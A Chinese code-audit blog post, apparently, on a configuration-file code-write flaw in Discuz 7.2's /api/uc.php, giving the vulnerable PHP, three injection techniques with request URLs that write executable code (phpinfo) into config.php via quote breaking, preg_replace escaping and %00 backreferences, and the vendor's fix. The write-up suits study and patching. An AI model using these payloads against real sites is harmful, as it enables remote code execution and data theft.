[代码审计]-PHP配置文件写漏洞

问题

阿里云安骑士报discuz 7.2版本的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏。

漏洞代码

function updateapps($get, $post) {
    ......
    #行360
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

     //将POST收到子系统的uc_api写入配置文件,
    //对接收的参数增加addslashes避免直接输入[' | "] 闭包前面的符号,造成写任意代码
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
                    "define('UC_API', '".addslashes($UC_API)."');", $configfile);

    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
    ......
}

最开始处理这个漏洞时,只是照着网上的方案修复了一下,未求甚解。直到最近看了P神的博客,突然茅塞顿开。照葫芦画瓢写下这个漏洞的利用方法。

后话:最好的修复方式应该是:与最新版系统对比不同。
此外,当有开源系统发布新版时,也可以通过查看diff高效的发现旧旧版本安全漏洞。

漏洞利用

假设对方已经获取了你的UC_KEY,可以使用Dz自带的_authcode方法发送任意的请求。将漏洞代码简化如下:

#读取配置,用请求参数中的UC_API替换文件内容,回写到文件中
$file = file_get_contents('./config.php');

$UC_API = $_REQUEST['uc_api'];
$file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);

file_put_contents('./config.php', $file); 

法1 (利用正则 .*? 的非贪婪匹配 )

#第一步:插入',并用//注释后面的代码
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
#config.php : 此时配置正常
      define('UC_API', 'aaa\');phpinfo();//');

#第二步:uc_api=任意内容,利用正则将两个['aaa\']中的内容提换掉
http://localhost/safe/conf_test.php?uc_api=ccb
#confing.php:  掺入phpinfo 代码可执行
      define('UC_API', 'ccb');phpinfo();//');

OR,使用 %0a将代码折行注释

#第一步:插入',并折行注释后续代码
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
#config.php : 
      # define('UC_API', 'aaa\');phpinfo();
      # //');

#第二步同上

法2 (利用preg_replace 第二个参数,自动转义反斜线 '' )

preg_replace.png

正则替换的第二个参数会自动进行转义,将两个连续的\\,转义为一个\。 所以如果存在 {\\\'} 则会被转义为{\\'},最后多出来一个{'}

#访问:
 http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
#config.php : 成功插入可执行代码
      define('UC_API', 'aaa\\'); phpinfo(); //');

法3(利用正则\n|$n,将第n个子组替换到文本中)

#正则替换子组功能示例
$a = 'aa1234aa';
$b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
echo $b;
//输出: bb1234bb。 详细说明见上图preg_replace.png

%00 代表字符串Null,有各种文件相关的截断漏洞。 但addslashes( urldecode(%00) ) = '\0'。
在正则中'\0' 正好表示完整模式的匹配文本,可以用来利用。

#第一步:
http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
#config.php : 
      define('UC_API', 'aaa);phpinfo();//');

#第二步:uc_api=%00
#confing.php:  
       define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');

#第三步:
# todo,这个使用define来配置变量,在此处用%00这个方法不是很好实现漏洞利用,构造合规语法需要多次尝试。

下面套用一个简单的例子:

<?php 
#conf_set.php  
#配置文件使用 $option='xxx'; 形式来配置,覆盖语法一样
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>

漏洞复现:

#第一次传入:;phpinfo();
     #文件内容:$option=';phpinfo();';

#第二次传入:%00
     #%00被addslashes()转为\0,而\0在preg_replace函数中会被替换为“匹配到的全部内容”,
     #此时preg_replace要执行的代码如下:
     preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
     
     #文件内容: $option='\$option=';  phpinfo(); ';';   

#成功闭合

漏洞修复

官网修复方案:

//1. 先过滤掉POST参数中的特殊字符
if($post['UC_API']) {
    $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
    unset($post['UC_API']);
        }

......
//2. 写入文件前判断UC_API是否为url格式
if(preg_match('/^https?:\/\//is', $UC_API)) {
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", 
                 "define('UC_API', '".addslashes($UC_API)."');", $configfile);
    
    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
}


相关阅读:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,424评论 25 707
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,594评论 18 139
  • 你是不是经常在同一家饭店吃饭,而不愿意尝试新的餐厅,新的菜品? 你是不是经常买常买的那几个牌子的衣服、鞋子,而不愿...
    Fanny读书阅读 244评论 0 2
  • 你学到了什么 在这一章,你学到了以下内容。 1什么是模块。模块其实也是一个python文件,是一个程序,里面包含着...
    然2016阅读 226评论 0 0
  • 近期,堪比年度大戏的芭莎慈善夜,可谓为吃瓜群众们提供不少“料”。有女明星抢“戏”场,有秀恩爱场,还有塑料姐妹花场,...
    潮流一起说阅读 309评论 0 0